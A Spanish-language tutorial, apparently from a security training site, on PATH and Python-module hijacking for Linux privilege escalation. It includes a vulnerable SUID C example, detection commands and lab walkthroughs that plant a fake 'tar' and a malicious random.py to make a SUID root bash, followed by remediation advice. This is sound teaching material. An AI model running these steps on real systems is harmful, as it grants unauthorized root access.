Secuestro de PATH y de librerías: cómo se suplanta un comando o un módulo para escalar privilegios
· 10 min de lectura
Aprende cómo Linux busca los programas y las librerías que ejecuta, por qué un script privilegiado que llama a un comando sin ruta absoluta o importa un módulo desde una carpeta escribible puede ejecutar código del atacante, cómo se detecta, cómo se explota en un laboratorio y cómo evitarlo.
Cuando escribes tar en una terminal, no indicas dónde está el programa: el sistema lo busca por ti en una lista de carpetas. Cuando un script de Python hace import requests, tampoco dice de dónde sale el módulo: Python lo busca en una lista de rutas. Esa búsqueda automática es comodísima, y también es una oportunidad para un atacante.
Si un programa que se ejecuta con privilegios (un binario SUID, una regla de sudo, una tarea cron de root) depende de esa búsqueda, y el atacante puede colocar algo con el mismo nombre en un lugar donde se busque antes, el programa privilegiado ejecutará el código del atacante sin saberlo. A esto se le llama secuestro (hijacking) de PATH o de librerías.
En esta lección vas a ver cómo funciona la búsqueda de programas y de módulos, por qué se puede secuestrar, cómo detectarlo, cómo explotarlo paso a paso en un laboratorio autorizado y cómo escribir scripts privilegiados que no caigan en esta trampa.
Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Escalar privilegios en un sistema ajeno sin permiso es un delito.
Cómo busca Linux los programas: la variable PATH#
PATH es una variable de entorno con una lista de carpetas separadas por dos puntos. Cuando ejecutas un comando sin ruta, la shell recorre esas carpetas en orden y ejecuta el primer archivo que encuentre con ese nombre:
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Con esa variable, tar se busca primero en /usr/local/bin/tar, luego en /usr/bin/tar, y así hasta encontrarlo. Puedes ver cuál se usaría con:
command -v tar
which tar

El orden es la clave: si un atacante puede añadir una carpeta suya al principio del PATH, o escribir en una carpeta que ya está antes que la del programa legítimo, su versión será la que se ejecute.
Por qué ocurre: la causa raíz#
El problema aparece cuando se juntan dos condiciones:
- Un programa privilegiado ejecuta otro comando sin ruta absoluta (
taren lugar de/usr/bin/tar). - El atacante puede influir en el PATH con el que se ejecuta, o escribir en una carpeta de ese PATH.
Un ejemplo típico es un binario SUID hecho a medida, escrito en C:
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(0);
setgid(0);
// Vulnerable: "tar" sin ruta absoluta y con el PATH del usuario
system("tar -czf /backup/datos.tgz /srv/datos");
return 0;
}
La función system() ejecuta el comando a través de la shell, que buscará tar en el PATH del usuario que lanzó el programa. Como el usuario controla su propio PATH, controla qué tar se ejecuta como root.
| Situación | ¿Es secuestrable? |
|---|---|
| Binario SUID que llama a un comando sin ruta | Sí: el usuario controla el PATH heredado |
Regla de sudo con secure_path definido | Normalmente no: sudo sustituye el PATH por uno seguro |
| Tarea cron con un PATH que incluye una carpeta escribible | Sí, si el comando se llama sin ruta |
Script de root que hace cd a una carpeta escribible y ejecuta ./algo | Sí: el atacante coloca algo en esa carpeta |
Secuestro de librerías de Python#
Python sigue la misma lógica con los módulos. Cuando un script hace import algo, Python busca algo.py en las rutas de sys.path en orden, y la primera es normalmente la carpeta del propio script:
python3 -c 'import sys; print("\n".join(sys.path))'
<- carpeta del script (o la actual)
/usr/lib/python310.zip
/usr/lib/python3.10
/usr/lib/python3.10/lib-dynload
/usr/local/lib/python3.10/dist-packages
/usr/lib/python3/dist-packages
Por eso, si un script que se ejecuta como root está en una carpeta donde el atacante puede escribir, este puede crear un archivo con el nombre de un módulo que el script importa (random.py, os.py, requests.py), y Python cargará esa versión antes que la legítima.
También ocurre si la regla de sudo conserva la variable PYTHONPATH, o si alguna carpeta del sys.path es escribible por el usuario.
Y en librerías del sistema#
Los programas compilados cargan librerías compartidas (.so) siguiendo también un orden de búsqueda, que variables como LD_PRELOAD y LD_LIBRARY_PATH pueden alterar. Linux protege este caso en los binarios SUID: cuando un programa se ejecuta con privilegios elevados, el cargador ignora esas variables (modo de ejecución segura). Por eso el secuestro de librerías del sistema solo funciona en casos concretos, como una regla de sudo que conserva LD_PRELOAD o un RPATH que apunta a una carpeta escribible.
El mismo problema en otros lenguajes#
La idea no es exclusiva de Python: cualquier entorno que busca código en una lista de rutas puede secuestrarse si alguna de esas rutas es escribible para el atacante.
| Entorno | Dónde busca el código | Qué se puede secuestrar |
|---|---|---|
| Shell (bash, sh) | Carpetas de la variable PATH | Comandos llamados sin ruta absoluta |
| Python | sys.path, empezando por la carpeta del script | Módulos importados con import |
| Node.js | Carpetas node_modules desde la del script hacia arriba | Paquetes cargados con require |
| Perl | Rutas de @INC y la variable PERL5LIB | Módulos cargados con use |
| Ruby | Rutas de $LOAD_PATH y la variable RUBYLIB | Archivos cargados con require |
| Windows | Orden de búsqueda de DLL, empezando por la carpeta del programa | Librerías DLL (DLL hijacking) |
Cuando revises un script privilegiado en cualquier lenguaje, la pregunta es siempre la misma: ¿de qué rutas carga código y puedo escribir en alguna de ellas antes que la legítima? Si la respuesta es sí, tienes un secuestro posible, sea cual sea el lenguaje.
Cómo se detecta#
Para un comando#
- Identifica programas privilegiados: binarios SUID, reglas de
sudo -ly tareas cron de root. - Averigua qué comandos ejecutan: lee los scripts, o en binarios usa
stringsyltrace. - Busca comandos sin ruta absoluta.
- Comprueba qué PATH usan y si alguna carpeta es escribible para ti.
strings /usr/local/bin/respaldo | grep -iE 'tar|cp|sh|system'
ltrace /usr/local/bin/respaldo 2>&1 | grep system
Para un módulo de Python#
- Mira qué módulos importa el script privilegiado.
- Revisa los permisos de la carpeta del script y de cada ruta de
sys.path.
ls -ld /opt/herramienta /opt/herramienta/*.py
find / -writable -type d 2>/dev/null | grep -i python
Herramientas como LinPEAS marcan automáticamente carpetas del PATH escribibles y scripts privilegiados con comandos sin ruta.
Explotación paso a paso en un laboratorio#
Caso 1: binario SUID que llama a tar#
En un laboratorio autorizado encuentras /usr/local/bin/respaldo con SUID de root, y ltrace muestra:
system("tar -czf /backup/datos.tgz /srv/datos")
Paso 1: crear tu propio tar#
cd /tmp
echo '#!/bin/bash' > tar
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> tar
chmod +x tar
Paso 2: poner tu carpeta al principio del PATH#
export PATH=/tmp:$PATH
Paso 3: ejecutar el binario y usar la shell#
/usr/local/bin/respaldo
/tmp/rootbash -p
id
euid=0(root): el binario, como root, ejecutó tu tar en lugar del legítimo.
Caso 2: script de Python ejecutado con sudo#
sudo -l muestra:
(root) NOPASSWD: /usr/bin/python3 /opt/herramienta/informe.py
El script empieza con import random y la carpeta /opt/herramienta es escribible por tu usuario.
Paso 1: crear un módulo con el mismo nombre#
cat > /opt/herramienta/random.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
EOF
Paso 2: ejecutar el script permitido#
sudo /usr/bin/python3 /opt/herramienta/informe.py
/tmp/rootbash -p
Al hacer import random, Python cargó tu random.py desde la carpeta del script, y como el script corría como root, tu código también. Laboratorios como NEONPUNK practican la variante con PYTHONPATH.
Qué puede lograr un atacante#
| Impacto | Ejemplo real |
|---|---|
| Escalada a root | Un binario SUID ejecuta el comando falso del atacante |
| Persistencia | Un módulo malicioso que se carga cada vez que corre una tarea programada |
| Movimiento lateral | Secuestrar herramientas que usan otros usuarios con más privilegios |
| Difícil de detectar | El programa legítimo sigue funcionando y el cambio pasa desapercibido |
Cómo se corrige#

Rutas absolutas en todo código privilegiado#
// Seguro: ruta absoluta y sin pasar por la shell
char *args[] = {"/usr/bin/tar", "-czf", "/backup/datos.tgz", "/srv/datos", NULL};
execv("/usr/bin/tar", args);
En scripts de shell, usa /usr/bin/tar en lugar de tar, y define el PATH al principio del script:
#!/bin/bash
PATH=/usr/sbin:/usr/bin:/sbin:/bin
export PATH
PATH seguro en sudo y cron#
Mantén secure_path en sudoers y no añadas PYTHONPATH, LD_PRELOAD ni LD_LIBRARY_PATH a env_keep. En /etc/crontab, define un PATH solo con carpetas del sistema.
Proteger las carpetas#
Los scripts privilegiados y sus carpetas deben pertenecer a root y no ser escribibles por nadie más. Lo mismo para todas las carpetas del PATH del sistema y de sys.path.
Python: aislar el entorno#
Ejecuta los scripts privilegiados en modo aislado, que ignora la carpeta del script y las variables de entorno de Python al buscar módulos:
/usr/bin/python3 -I /opt/herramienta/informe.py
La opción -I (isolated mode) es una defensa sencilla y muy eficaz para scripts que se ejecutan con privilegios.
Mejor sin binarios SUID propios#
Para tareas privilegiadas, una regla de sudo con un comando exacto y secure_path es mucho más segura que un binario SUID casero.
Errores comunes al defenderse#
- Confiar en el PATH del usuario. Cualquier programa privilegiado que lo herede está expuesto.
- Usar system() o popen() en binarios SUID. Pasan por la shell y buscan en el PATH; mejor
execvcon rutas absolutas. - Dejar scripts de root en carpetas compartidas.
/opt/appcon permisos para un grupo de desarrolladores es un clásico. - Nombres de archivo que coinciden con módulos estándar. Un
random.pyoemail.pypropio en la carpeta equivocada rompe importaciones y abre la puerta al secuestro. - Pensar que LD_PRELOAD funciona en SUID. No funciona gracias a la ejecución segura, pero sí en reglas de sudo que lo conservan.
Preguntas frecuentes#
¿Qué es el PATH?#
Una variable de entorno con la lista de carpetas donde el sistema busca los programas cuando ejecutas un comando sin indicar su ruta. Se recorre en orden y gana la primera coincidencia.
¿Por qué sudo no suele ser vulnerable al secuestro de PATH?#
Porque, con secure_path configurado (lo habitual), sudo sustituye el PATH del usuario por una lista fija de carpetas del sistema antes de ejecutar el comando.
¿Cómo sé qué comandos ejecuta un binario sin código fuente?#
Con strings para ver las cadenas de texto que contiene, y con ltrace o strace para ver qué llamadas hace al ejecutarse, siempre en un entorno autorizado.
¿Qué hace python3 -I?#
Ejecuta Python en modo aislado: no añade la carpeta del script a la búsqueda de módulos e ignora variables como PYTHONPATH, evitando el secuestro de módulos.
¿Dónde practico esto?#
En los laboratorios de whoami-labs enlazados al final de esta lección, que cubren secuestro de PATH en binarios propios y tareas programadas, y secuestro de módulos de Python.
Resumen#
- Linux y Python buscan programas y módulos en listas de rutas, en orden; gana la primera coincidencia.
- Un programa privilegiado que llama a un comando sin ruta absoluta o importa módulos desde una carpeta escribible puede ejecutar código del atacante.
- Se detecta revisando binarios SUID, reglas de sudo y tareas cron, con
strings,ltracey los permisos de las carpetas. - Se corrige con rutas absolutas, PATH fijo, secure_path, carpetas protegidas, python3 -I y evitando binarios SUID propios.